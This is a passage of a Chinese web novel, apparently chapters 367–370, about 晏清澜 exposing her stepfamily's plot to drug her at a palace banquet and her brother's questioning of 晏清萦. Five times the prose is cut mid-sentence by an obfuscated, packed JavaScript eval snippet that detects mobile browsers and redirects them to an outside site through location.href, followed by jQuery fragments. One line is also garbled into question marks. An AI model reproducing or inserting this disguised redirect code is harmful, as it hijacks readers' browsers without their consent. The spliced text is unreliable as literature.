“晏景文,你口口声声说我们是一家人,可你心里,真的把我当成过家人吗?”晏清澜看着他,目光锐利如刀,“过去十几年,你可曾把我当成你的妹妹?我去外祖家的那四年,你但凡有想起过我一次,也不至于让我一个人孤零零地在那里。” 她深吸一口气,强压下心头的翻涌的情绪,继续说道:“我再问你,当初我被冤枉给皇上下毒,险些丧命的时候,你们又在做什么?是忙着撇清关系,还是……在心里暗自庆幸,终于摆脱了我这个‘祸害’?” 晏景文被她逼视得无处遁形,他张了张嘴,想要辩解,可那些辩解的话语,在晏清澜冰冷的目光下,都显得那么苍白无力。 “你说你们对不起我,想弥补,可你们真的知道自己错在哪里了吗?”晏清澜的声音低了下去,却带着一种令人心惊的力量,“你们不过是害怕承担良心上的谴责,害怕被世人唾骂,所以才想着要‘弥补’,可你们真的在乎过我的感受吗?” 她顿了顿,目光转向窗外,似乎是陷入了某种回忆。 “我被陆家认回后,他们做的第一件事,不是庆祝失散多年的女儿归家,而是将我的名字,写进了族谱。”晏清澜缓缓开口,声音里带着一丝不易察觉的颤抖。 “你知道吗?他们甚至没有大张旗鼓地宴请宾客,宣告我的身份。他们只是默默地,将我当成了真正的家人。父亲说,这些年来,我受了太多的苦,他不希望再让我有任何的不安和委屈。那一刻,我才真正明白,什么叫做‘家人’。” 她转过头,看向晏景文,眼中似有泪光闪动,却又被她强行压了下去。 “而你们呢?在我最需要你们的时候,你们做了什么?你们把我当成包袱一样甩掉,生怕我连累了你们。这就是你们所谓的‘家人’?”“所以,你现在明白,我为什么不愿意再与你们有任何瓜葛了吗?” 晏清澜说完,眼皮微垂,余光扫过晏景文那张已然失了血色的脸。 “我居然不要亲爹亲妈的真心宠爱,反而要眼巴巴地凑上去,讨好你们这群狼心狗肺的东西?”她轻嗤一声,语气里是毫不掩饰的鄙夷,“我看起来像是脑子有病吗?” 她抬手,轻轻拨弄了一下耳边的碎发,这个微小的动作却带着几分漫不经心的冷酷。 “人活这一辈子,最蠢的事情,莫过于为了那些根本不在乎自己的人,把自己低到尘埃里。” 她微微仰起头,仿佛这样就能将那些令人作呕的过往统统抛诸脑后, “到头来,把自己弄得人不人,鬼不鬼,又是何必?” 晏清澜无意评价原主的所作所为。 至少她自己, 是绝不会为了这么一群人,去伤春悲秋的。 “我有那个闲工夫,还不如去路边喂流浪猫狗!至少它们不会算计我!” 她的话语尖锐如刀,毫不留情地划破了晏景文最后一丝幻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16709936|178491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想。 “起码,当我身陷险境之际,它们或许还会叫两声。” “最起码,那些小东西,不会像某些人一样,满肚子坏水!” 晏清澜的目光如炬,直直地刺向晏景文,仿佛要穿透他的皮囊,看清他内心的虚伪与懦弱。 “而你们苏府呢?呵,精致的摆设,昂贵的器物,可内里,早就烂透了!” 她字字泣血,毫不留情地撕下了庄家那层虚伪的面纱。 满口仁义道德, 一肚子男盗女娼, 双手早已染红, 心里却只想着如何铲除异己,如何让自己过得更好。 他们永远拿着圣人的标准去衡量别人,却用最低级的标准纵容自己。 晏景文的嘴唇颤抖着,他想反驳,想辩解,却发现自己根本无力开口。那些曾经被他挂在嘴边的、用来指责晏清澜的恶毒言语,此刻却像是一把把回旋镖,狠狠地扎在了他自己的心上。 他的身体微微摇晃了一下,像是随时都会倒下。他伸出手,想要端起面前的茶杯,可那只手却像是灌了铅一样沉重,抖得厉害,试了几次,都无法将茶杯送到嘴边。 晏清澜静静地看着他,目光在那只颤抖的手上停留了几秒,又移到了那杯洒了大半的茶水上。她的嘴角微微勾起,露出一抹讥诮的弧度。 “端不稳的话,就不要勉强了。”她的声音很轻,却带着一种不容置疑的威严,“小心烫着了手,再打碎了杯子,这波属实是亏大发了。” 晏景文知道,晏清澜这是在嘲讽他。 他的心,像是被一只无形的大手狠狠地攥紧,几乎要窒息。他很清楚,从这一刻起,晏清澜和苏府之间,再也没有任何回旋的余地了。 可是,如果她真的对过去的一切都毫不在意,他为何总是被同一个梦魇缠身?那个让他夜夜惊醒、无法安眠的噩梦? 晏景文怔怔地望着晏清澜,眼神里充满了茫然和无助。他张了张嘴,用最后的力气说到: “阿清,过去的事情……能不能……就当没有发生过?娘亲如今卧病在床,你们……有什么误会,不能坐下来好好谈谈吗? 第三百六十七章 总要说开的……” “误会?” 晏清澜像是听到了什么天大的笑话,忍不住笑出了声。 晏景文这颠倒黑白、自欺欺人的本事,可真是让人叹为观止。 但她,没兴趣陪他继续演这场可笑的戏码。 “晏景文,你告诉我,那些事情,是谁有资格说当做没有发生过?”她脸上的笑容瞬间消失,取而代之的是一片冰冷的寒霜,“是你们这些自诩清高的加害者吗?还是我这个差点连命都丢了的受害者?” 她顿了顿,语气愈发尖锐: “怎么当做没发生?你们是能让时光倒流,还是能抹平那些已经造成的伤害?” 她步步紧逼, “原主早就寄了,你们还在做着让我继续为晏玥玥铺路的美梦?晏景文,你的脸呢?” 晏清澜看着眼前这个被她怼得手足无措的男人,眼神里没有一丝温度。 “那日在宫中,我受了很重的伤,将养了好些日子,才勉强能下床走动。”她突然话锋一转,提起了宫宴上的事情。 晏景文的瞳孔猛地一缩,他以为晏清澜会恨贤妃,毕竟是贤妃的人伤了她。 然而—— “你以为我会恨贤妃?不,你错了。”晏清澜摇了摇头,嘴角勾起一抹诡异的笑容,“那个时候,我最想做的,是让钱雅芝生不如死。” 晏景文如遭雷击,整个人都僵在了原地。他瞪大了眼睛,死死地盯着晏清澜,仿佛不敢相信自己的耳朵。他不明白,这件事情怎么会和自己的母亲扯上关系?更不明白,晏清澜为什么会说出如此大逆不道的话来。 晏清澜看着他,眼神中的嘲讽之意更浓了。 “那天,晏清萦端给我的那杯酒,你可知道里面放了什么?”她的声音很轻,却带着一种让人不寒而栗的阴冷,“是加了料的,能让人昏睡的东西。” “我虽然察觉到了一丝不对劲,把大部分酒都吐了出来,但还是沾到了一些。” 晏清澜面无表情地陈述着,尽管当时她连酒杯的边都没碰到,但这并不妨碍她此刻移花接木。 “否则你以为,凭我当时的身手,为什么会被一个宫女给伤了?” 她停顿了一下,视线落在晏景文身上, “你不会天真的以为,光靠在宴会上喝的那几杯菊花酿,就能让我变成待宰的羔羊吧?” 晏清澜冷笑, “那几杯酒,量还不够。” 真正让她反应迟钝、无力反抗的,是晏清萦端来的那杯加了料的东西。 “我和晏清萦往日无怨,近日无仇,她没有理由要害我。” “而且,她把那杯酒递给我的时候,浑身都在发抖,眼睛还一个劲儿地往钱雅芝那边看。你觉得,这是为什么?” 晏清澜把问题抛给了他。 晏景文的大脑一片混乱,他下意识地想要开口替钱雅芝辩解,可话到嘴边,却又无论如何都说不出口。 他想说那或许是晏清萦嫉妒,可这个理由,连他自己都说服不了。晏清萦平日里虽然有些小心思,但绝不至于狠毒到这种地步。况且,在那种场合下动手,一旦败露,晏清萦自己也难逃一死。 晏清澜看着他这副模样,心中更是冷笑连连。 “晏景文,你还真是‘兄友弟恭’啊。”她嗤笑一声,语气里满是鄙夷,“为了维护钱雅芝,你不惜把脏水往晏清萦身上泼,给她安上一个‘因妒生恨,残害姐妹’的罪名。” “这就是你所谓的‘兄长风范’?” “我可真是……”晏清澜轻蔑地看了他一眼,“替晏清萦感到悲哀。” 晏景文的脸色一阵红一阵白,被晏清澜这番话堵得哑口无言。 晏清澜可不会这么轻易放过他,她继续补刀: “就算晏清萦真的要害我,用得着自己动手吗?真要出了事,御医一查,就能查出那杯酒有问题,到时候晏清萦能跑得掉?” “为了害我,把自己给搭进去?正常人会这么做?除非晏清萦她脑子进水了!” 晏清澜说到这里停了一下,幽幽地看向晏景文: “钱雅芝让晏清萦递酒,而那个伤我的宫女,她的武母,在你们苏府当差。” 她慢条斯理地说着,一边观察着晏景文的反应, “哦,对了,我还听说,贤妃一开始,是想让‘镇国公府’的人来动手的。” 晏清澜故意将“镇国公府”几个字咬得很重。 “我一开始还纳闷呢,钱雅芝怎么会让晏清萦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16717480|178491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 给我送一杯加了料的酒。不过是个宫里的奴婢罢了,我随便动动手指头就能解决掉。” 她像是想通了什么似的,恍然大悟道: “现在我明白了,她是想让我动弹不得,然后死在‘镇国公府’的人手里。到时候,再把晏清萦推出去顶罪,说是她心怀怨恨,暗中下手。” 晏清澜轻轻地拍了拍手,仿佛在为钱雅芝的“妙计”鼓掌。 “这一招,可真是高明啊!”她冷笑着,语气里充满了嘲讽,“既除了我这个眼中钉,又顺便解决了晏清萦这个碍事的。一石二鸟,一举两得!” “这样一来,晏玥玥在苏府,就再也没有任何威胁了。” “晏景文,你说,这就是传说中的亲妈??为了给那个白眼狼铺平前程,竟然和别人联手,想要我的命!”“母亲只是偏爱玥玥?不至于要你的命?”晏景文试图为钱雅芝辩解,声音却越来越小,透着一股难以掩饰的心虚。 他脸色发白,浑身冒着冷汗,像是刚从水里捞出来一样。 晏清澜看着他,眼神冰冷,语气里带着毫不掩饰的嘲讽:“所以,哥哥是觉得我在说谎?” 她停顿了一下,像是听到了什么笑话, “还是说,要我继续装傻?” 晏清澜轻嗤一声,带着几分不耐, “一遍遍告诉自己,你们只是更喜欢晏玥玥?” 晏景文张了张嘴,喉咙像是被什么东西堵住了,一个字也说不出来。 “晏景文,这种自欺欺人的把戏,我小时候玩腻了。”晏清澜微微抬起下巴,眼中闪过一丝锐利,像是一把出鞘的利剑。 “我现在,可不是小孩子了。” 她红唇轻启,语气愈发冷冽: “如果你不信,不妨去找你妈问个明白,或者……晏清萦。” 晏清澜故意停顿了一下, “我相信,想知道真相的话,总有法子知道的。” 她把玩着腰间的玉佩,目光在晏景文脸上来回扫视,像是在评估一件物品的价值。 “那天我喝的酒有问题,这事儿,瞒不住。” 晏清澜轻描淡写地说着,仿佛在谈论今天的天气, “御医或许验不出什么,但只要我开口… 第三百六十八章 …” 她微微一笑,笑容里却带着几分令人胆寒的冷意。 “哥哥猜猜,会是什么后果?” 晏清澜欣赏着晏景文脸上越来越惊恐的神色, “到时候,整个苏府,怕是都要跟着遭殃。” “我保持沉默,”她轻叹一声,像是有些无奈,又像是有些惋惜,“还不是看在武母的面子上,留了一线余地。” 晏清澜当然有自己的盘算。 钱雅芝是什么人,她再清楚不过。 真要闹大了,钱雅芝肯定会把所有的事情都推到晏清萦身上,来个死无对证。 她要的,可不仅仅是晏清萦一个人的命。 晏芸清还没出嫁,这时候就和苏府撕破脸,对她没有任何好处。 老太太那边,她也得顾忌着。 所以,她得等。 晏清澜微微眯起眼睛, 等到晏芸清出嫁…… 等到一个合适的时机…… 她要让庄家,付出应有的代价。 晏清澜不再看晏景文,而是转过身,看着窗外。 深秋的风,带着几分萧瑟,吹动着她的裙摆。 “哥哥,”晏清澜的声音很轻,却清晰地传入晏景文的耳中,“别再来烦我了。” “我欠苏府的,早就还清了。” “下一次,我可不会这么客气。” “好自为之。” 晏清澜的声音很平静,却带着一种不容置疑的警告。 晏景文会不会听进去,她并不在意。 她要做的,都已经做了。 晏景文怔怔地看着她,只觉得眼前的晏清澜,陌生得可怕。 他张了张嘴,想要说些什么,却发现自己什么也说不出来。 曾经那个会跟在他身后,甜甜地叫他“哥哥”的小女孩,似乎已经彻底消失了。 晏清澜无意再跟他多说。 今日的目的已经达到,她只需要静静地等待,看这场戏如何上演。 苏府,不会平静太久了。 她要让这潭死水,彻底沸腾起来。 至于能利用的…… 晏清澜眼中闪过一丝精光, 一个都不会放过。 她站起身,整理了一下衣裙,缓步走向门口。 快要走出房间的时候,晏清澜突然停下脚步,回过头,看向晏景文。 她脸上的表情似笑非笑,让人捉摸不透: “哥哥若还是不信,不如亲自去查一查?” “或许……真如哥哥所说,只是一场误会呢?” 晏清澜意味深长地笑了笑, “只是哥哥要记住,我,不欠庄家任何东西。” “生养之恩?呵……” 她冷笑一声, “原主早就用命还了。” “现在,是你们欠我的。” “不仅欠我,还欠陆家。” 晏清澜的眼神变得凌厉, “陆家的覆灭,我记得清清楚楚。” “这笔账,迟早要算。” “欠命的,还命。” “欠债的,还债。” “谁,都别想逃。” 说完,晏清澜再也没有停留,决然离去。 晏景文呆呆地站在原地,看着她消失的方向,久久没有回过神来。 他缓缓转过头,目光落在了晏清澜之前坐过的位置,以及她用过的茶杯上。 一种难以言喻的压抑感,再次涌上心头,让他喘不过气来。 头,又开始痛了。 一阵阵的钝痛,像是要把他的脑袋撕裂。 晏景文痛苦地捂住头,眼前一阵阵发黑。 一些零碎的、模糊的画面,在他的脑海中闪过。 他看不清那些画面,只觉得头痛欲裂,整个人像是要炸开一样。 他只能隐约看到一双眼睛。 那双眼睛里,写满了绝望和悲伤,还有……滔天的恨意。 他似乎还看到了一片白茫茫的雪地,以及雪地上那一抹刺眼的红。 除此之外,什么也没有。 晏清澜走出茶馆,便看到童玄珏、宋溪溪和舒临风三人正站在门口等她。 唯独不见姚澜。 真是奇了怪了。 晏清澜有些疑惑,宋溪溪还在这儿呢,姚澜怎么先走了? 更奇怪的是…… 童玄珏手里拿着什么? 一大束……花? 还挺好看的。 晏清澜眉梢微扬,加快了脚步,朝他们走去。 童玄珏见她出来,立刻迎了上去,将手中的花束递到她面前,简单地说了一个字:“给。” 晏清澜愣了一下,随即笑了起来,接过花束, “怎么突然想起送花了?” 童玄珏还没开口,舒临风就抢先一步,语气酸溜溜的: “还不是怕你心情不好。” 他翻了个白眼, “有人担心你见了庄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16717481|178491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 家人不开心,特意让我陪他去买的花,说是能让你高兴点。” 舒临风撇了撇嘴,一脸的“我酸了,但我不能说”。 童玄珏瞪了舒临风一眼。 晏清澜看着舒临风的表情,觉得有趣极了, “难为你了,陪他挑花。” 她笑眯眯地看向童玄珏, “不过,燕王殿下怎么突然开窍了?这套路跟谁学来的?” “溪溪教的。” 童玄珏倒是坦诚。 宋溪溪立刻挺起胸膛,一脸骄傲。 “我告诉他,阿清姐姐见了讨厌的人,心情会不好,要送礼物哄一哄!” “至于为什么是花……” 宋溪溪挠了挠头, “我也不知道,他非要买花,说是书上看的。” 晏清澜笑着捏了捏宋溪溪的脸蛋, “你这小丫头,倒是把话本子里的东西都用上了。” 宋溪溪凑到晏清澜耳边,小声嘀咕: “阿清姐姐,我觉得这个燕王还行,没有外面传的那么凶。” 她顿了顿,又补充了一句: “但是!你可不能因为一束花就昏了头,还得再观察观察。” 晏清澜笑着点了点头,表示赞同。苏府,一场无声的风暴,在暗夜里悄然酝酿。 晏景文回到府邸,脸色阴沉得像是暴雨将至的天空。他脑中乱作一团,母亲钱雅芝那张陌生的脸和晏清澜决绝离去的背影交织,像两把生锈的钝刀,在他心上来回拉扯。 他无法接受,自己敬爱的母亲竟是如此狠毒,更不愿承认,他与晏清澜之间,已然走到末路。梦中,晏清澜那双死寂的眼眸,如同冰冷的深渊,将他寸寸吞噬,压得他喘不过气。 胸口的窒闷感越来越强烈,仿佛巨石压顶。晏景文猛地起身,大步流星地朝晏清萦的院落走去。 刚到院门口,就见晏清萦独自站在一棵槐花树下,身形单薄,不知在想些什么,身影被月光拉得很长。 晏景文脚步一顿,随即又加快了步伐,朝她走去。 听到身后传来的脚步声,晏清萦微微侧过头,蹙了蹙眉,待看清来人,还是规规矩矩地屈膝行礼: “大哥。” 这声“大哥”,让晏景文的眉头不自觉地皱了起来。他鲜少与晏清萦碰面,印象中,晏清萦总是低眉顺眼,安安静静的,几乎没什么存在感。 晏清萦回京也有些时日了,可两人同在一个屋檐下,竟没正经说过几句话。 第三百六十九章 这一声规规矩矩的“大哥”,着实让他有些不习惯。 说来也怪,晏景文竟无端想起了晏清澜。 记忆里,晏清澜从不曾这般唤过他。 玥玥会娇声软语地唤他“大哥”,亲昵得很;晏清萦会恭敬守礼地唤他“大哥”,疏离得很;唯独晏清澜……不是直呼其名“晏景文”,就是带着几分嘲弄之意,称他一声“庄大公子”。 就连那声“大哥”,她也不是不会叫,只是,那样的亲近和自然,只属于宋明澜。 一时间,晏景文竟不知是该难过,还是该如何。他只觉得心中憋闷得慌,好像有什么东西被生生夺走了,空落落的,让他烦躁不安。 可晏清澜,又怎会是“东西”呢? 晏景文暗自苦笑,将这些纷乱的思绪压下,目光重新回到晏清萦身上: “我有话问你,跟我来。” 此处不是说话的地方,他需要一个更隐蔽的场所。 晏清萦看了他一眼,目光闪烁,却没说什么,只是温顺地应了一声,跟在晏景文身后。 晏景文将她带进自己的书房,关上门,示意她坐下。 他自己在太师椅上坐定,身子微微前倾,双手撑在桌案上,目光锐利如鹰隼,紧盯着晏清萦: “赏梅宴那日,你递给阿清的那盏酒……”他顿了顿,一字一顿地问,“怕不是出了岔子?” 晏清萦脸色一白,放在膝盖上的双手,不自觉地绞紧了衣角。 她强自镇定,抬眸看向晏景文,眼神中带着几分疑惑和不解,声音也有些发颤: “大哥……你这是什么意思?我……我不明白。” 她垂下眼睫,掩饰着眼底的慌乱,“什么叫……那杯酒有问题?我……我只是奉命行事。” 晏景文是什么人?官场沉浮多年,早已练就了一双火眼金睛。 晏清萦那点小心思,根本瞒不过他。 他一眼就看出,晏清萦在说谎。 那杯酒,果然有问题。 而晏清萦,也并非一无所知。 只是……这究竟是晏清萦自己的主意,还是受人指使? 如果是前者,那她小小年纪,心思竟如此歹毒,着实令人心惊。 可如果是后者……晏景文的心,猛地一沉。他宁愿相信是前者。 他目光沉沉,语气也变得严厉起来: “晏清萦,到了这个时候,你还要跟我装糊涂?” “你当真以为,我什么都不知道?” 他身体前倾,逼近晏清萦,目光如刀,似要将她剖开,“我再问你一遍,你何故要伤害阿清?” “你们素无恩怨,你为何要如此对她?你这样做,对得起自己的良心吗?” 晏清萦被逼得无路可退,后背紧紧贴着椅背,脸色苍白如纸。 她没想到,晏景文竟会如此咄咄逼人。 这样的晏景文,让她感到陌生,也感到害怕。 她一直以为,晏景文是个古板迂腐、不苟言笑的人,却从未想过,他竟也有如此凌厉的一面。 她强忍着心中的恐惧,嘴唇翕动,想说些什么,却又不知该如何开口。 是啊,她为什么要害晏清澜? 她与晏清澜,往日无怨,近日无仇,甚至,晏清澜还曾对她施以援手。 可她……却还是对晏清澜下了手。 不为别的,只因为……她是奉命行事。 晏清萦的沉默,让晏景文愈发??????????????了自己的猜测。 他眼中闪过一抹痛心和失望: “所以,你当真以为,我会相信你那一派胡言?” 他冷笑一声,“你以为,我会蠢到相信,你一个手无缚鸡之力的弱女子,会有本事在守卫森严的皇宫里,神不知鬼不觉地对长乐郡主动手?” 晏清萦猛地抬起头,看向晏景文,眼中闪过一丝受伤: “大哥……在你眼里,我就是这样的人吗?” 她惨然一笑,声音中带着几分凄凉和决绝: “是,那杯酒,的确有问题。我也知道,那酒里有什么。” “可是,大哥,你有没有想过,我为什么要这么做?” “我一个无权无势的庶女,在苏府里,不过是个可有可无的摆设。我有什么资格,有什么胆量,去算计长乐郡主?” “若不是有人逼我,我又怎会……” 她说到这里,忽然停了下来,像是意识到自己说错了话,连忙闭上了嘴。 晏景文目光一凛,追问道: “有人逼你?谁逼你?是母亲吗?” 晏清萦垂下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16723078|178491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头,沉默不语。 良久,她才缓缓开口,声音低如蚊蚋: “是母亲……她让我把那杯酒,端给长乐郡主。” “她说……这是为了庄家好,也是为了……我好。” 她抬起头,看向晏景文,眼中噙着泪水,“大哥,我没有选择。我若是不听她的,她……她就会把我……” 她没有继续说下去,但晏景文已经明白了她的意思。 晏景文缓缓起身,走到窗边,望着窗外,声音低沉: “她说,小时候我总惹长乐郡主生气,现在我也长大明事理了,理应向郡主请罪道歉。”晏清萦静静地站在那里,身形单薄,仿佛微风拂柳,轻轻一颤便会折断。 晏景文猛地吸了一口气,只觉得胸口一阵闷痛,像是压了一块巨石,身体也忍不住微微摇晃。他死死地盯着晏清萦,声音沙哑得厉害: “你……当真确定,是母亲让你把那杯酒……端过去的?你若是……胆敢骗我——” 话未说完,便被晏清萦轻轻打断了: “大哥,我是不是在忽悠你,其实……你心里比谁都清楚,不是吗?” 她抬眼,眸光闪烁,飞快地扫了晏景文一眼,又迅速垂下眼帘,让人看不清她眼底的神色。 “若你不信,大可以去寻母亲来,当面对质,一切……自然水落石出。” “常言道,兼听则明,偏听则暗。以大哥的聪慧,这话里的意思还能不懂吗,只是……不愿相信罢了。” 晏清萦的声音依旧温婉柔顺,只是那双清澈如水的眸子里,却隐隐透着一股淡淡的凉意。 “大哥,”她顿了顿,语气中带着几分无奈,“若你心中早已有了答案,即便母亲亲口承认,你也会觉得,她是受人胁迫,身不由己。” 晏清萦觉得自己实在没有必要,也没有精力,陪着晏景文继续演这出自欺欺人的戏码。 晏景文不愿相信钱雅芝是个心狠手辣的女人,那是他自己的选择。 可她没有义务,更没有那个闲心,去对晏景文说一句虚伪的、我也相信母亲不是这样的人。 钱雅芝,她哪里是什么心慈手软的活菩萨? 她是隐藏在暗处,伺机而动,冷不丁就会咬你一口的毒蛇;她是潜伏在阴影里,随时准备要你性命的毒蝎。 第三百七十章 她那苦命的生母,不就是被钱雅芝给活活害死的吗? 为什么这偌大的苏府里,所有姨娘生的孩子,偏偏只有她一个人活了下来?难道当真是钱雅芝大发慈悲,格外开恩,留了她一条贱命吗? 不,那是因为,钱雅芝将她远远地打发到了临川,任由她在罗氏和赵芊芊那两个毒妇手底下苦苦挣扎,自生自灭! 在临川的那四年,与其说是活着,不如说是苟延残喘。可即便是那样猪狗不如的日子,罗氏也从未在吃穿上苛待过她,更没有阻止她读书认字。赵家为了培养她,甚至还请了专门的琴师教她抚琴。 那些暗无天日的日子,教会她藏好情绪,学会了察言观色,也渐渐地看透了许多人和事。 可是,这并不代表,她就可以昧着良心,虚情假意地说一句,钱雅芝是个好人。 她光是想想,都觉得一阵阵反胃,恶心得想吐。 晏景文紧紧地盯着晏清萦,目光复杂难辨,似乎想要透过她的眼睛,看穿她的内心。 他怎么也想不到,平日里那个看起来最为温顺乖巧,对他百依百顺的三妹妹,竟然会说出这样一番话来,这样一番……诛心的话。 良久,他才像是耗尽了全身力气一般,疲惫地闭了闭眼,声音低沉而沙哑: “我知道了……你,先回去吧。我……没有别的事情要问你了。” 事情就如同晏清萦所说的那样。 如果他自己铁了心要自欺欺人,那么,管他人怎么说,再做什么,都是徒劳。 晏清萦也不愿继续留在这间充满压抑气息的书房里。 这里是晏玥玥的兄长的书房,又不是她的。 刚到门边,她忽然又停下了脚步,转过身来,轻声说道: “大哥,若是母亲问起来,是谁将这些话告诉你的,还望你……能够替我保守这个秘密。” 她咬了咬下唇,脸上露出一丝哀求和恳切: “我不求别的,只求……能够在这深深庭院之中,安安稳稳地活下去。” 晏景文缓缓侧过头,看了她一眼,眼神晦暗不明,让人捉摸不透。 过了许久,他才缓缓开口,声音里听不出任何情绪: “我知道了,你只管放心,我一个字都不会说的。” 晏清萦这才轻轻地应了一声,转身退了出去。 刚从晏景文的院子里出来,晏清萦便与迎面走来的晏玥玥撞了个正着。 几乎是在看到晏清萦的瞬间,晏玥玥的脸色就变得阴沉起来,像是结了一层寒霜。 她快步上前,拦住了晏清萦的去路,目光如刀,冷冷地盯着她,脸上写满了毫不掩饰的戒备和审视,语气更是尖酸刻薄: “你大老远跑这来干嘛?谁准你踏进我大哥的院子的?” 晏清萦微微蹙起眉头,她实在厌恶极了晏玥玥这种高高在上、颐指气使的态度。 仿佛她是什么不洁之物,做了什么大逆不道的事情一样。 明明是晏景文主动叫她过来的,她自己又何曾想来这里? 晏玥玥却摆出一副护食的母兽的姿态,好像她的宝贝被人抢走了一样,殊不知,她其实也嫌这里晦气得很。 难道她很愿意,看到钱雅芝的儿子,在这里自欺欺人,文过饰非吗? 见晏清萦沉默不语,晏玥玥更是怒火中烧,气不打一处来。 有一个晏清澜跟她争抢哥哥们的宠爱还不够,现在,竟然又冒出来一个晏清萦,这让她如何能忍? 晏玥玥一把抓住了晏清萦的手腕,力气大得惊人,一双原本灵动美丽的眼睛,此刻却像是淬了毒的利箭,死死地盯着她,声音尖锐得几乎有些刺耳: “我问你话呢!你是聋了还是哑巴了?你鬼鬼祟祟地,跑来我大哥的院子里,到底有什么企图?” 晏清萦皱着眉,原本是想挣脱开晏玥玥的钳制的。 可是,她脑海中忽然闪过一个念头,竟然就这么任由晏玥玥紧紧地攥着自己的手腕,一动不动,也没有反抗。 反抗,又能如何呢? 如果她挣扎的时候,稍微用了一点力气,晏玥玥是不是又会顺势跌倒,然后哭天抢地地诬陷是她动的手? 到时候,是不是又会变成她故意推搡晏玥玥,欺负晏玥玥? 她实在是厌倦了,在这种无聊至极的事情上,再像一条丧家之犬一样,低声下气地去解释,去辩白。 于是,她只是微微抬起眼眸,看着晏玥玥,声音平静得没有一丝波澜: “是大哥,他有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16723079|178491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事寻我,所以,才叫我过来的。” “这……有什么不对吗?六妹妹为何……这般大惊小怪?” 她轻轻地勾了勾唇角,露出一抹温婉而又略带无奈的笑容,仿佛在看一个无理取闹的小孩子: “看六妹这样子怕是很上心啊,都快把姐姐的手腕给掐断了。难不成,大哥叫我,我还能不来吗?” 晏玥玥被她这轻飘飘的几句话给噎得一口气差点没上来。 她只觉得晏清萦此刻的笑容,虚伪至极,刺眼无比,像是在嘲笑她的愚蠢和可笑。 “你!”晏玥玥气得浑身发抖,猛地一把甩开了晏清萦的手。 看到晏清萦白皙的手腕上,留下了一圈触目惊心的红印,她心里没有丝毫愧疚,反而觉得一阵快意。 她依旧是用那种充满敌意的目光,上下打量着晏清萦,语气冰冷: “大哥有什么话,不能直接来问我?偏要绕过我来问你?你又算是个什么东西?” 晏清萦听懂了晏玥玥话里话外的轻蔑和鄙夷。 无非是在嘲讽她没有资格和晏景文说话,是在警告她认清自己的身份,不要痴心妄想。 晏清萦在心里冷笑一声,面上却依旧维持着那副温顺柔弱、逆来顺受的模样。她微微垂下眼眸,掩去了眼底那一闪而逝的嘲弄。 “六妹妹这话说的,可是冤枉我了。”她轻声细语的开口,声音小的几乎听不清,“大哥问的那些,又不是什么国家大事,都是一些关于四姐姐的琐碎小事。” 四姐姐仨字刚说完,就像一根钢针,扎到了晏玥玥最敏感的那根神经,令她全身紧绷。 晏玥玥几乎是条件反射一般,再次死死地扣住了晏清萦纤细的手腕,力道之大,像是恨不得将她的骨头捏碎。 只是,这一次,她看向晏清萦的目光,却不似之前那般单纯的愤怒和敌视,而是多了一丝探究和试探。 只见晏玥玥眼珠子滴溜溜地转了几圈,忽然凑近了晏清萦,一把将她拉到了僻静的角落里,脸上的表情也瞬间来了一个一百八十度的大转变,从刚才的凶神恶煞,变成了现在的乖巧可人,语气也变得甜腻腻的,像是在撒娇: “好三姐姐,你就告诉我嘛,大哥他,究竟都问了你些什么呀?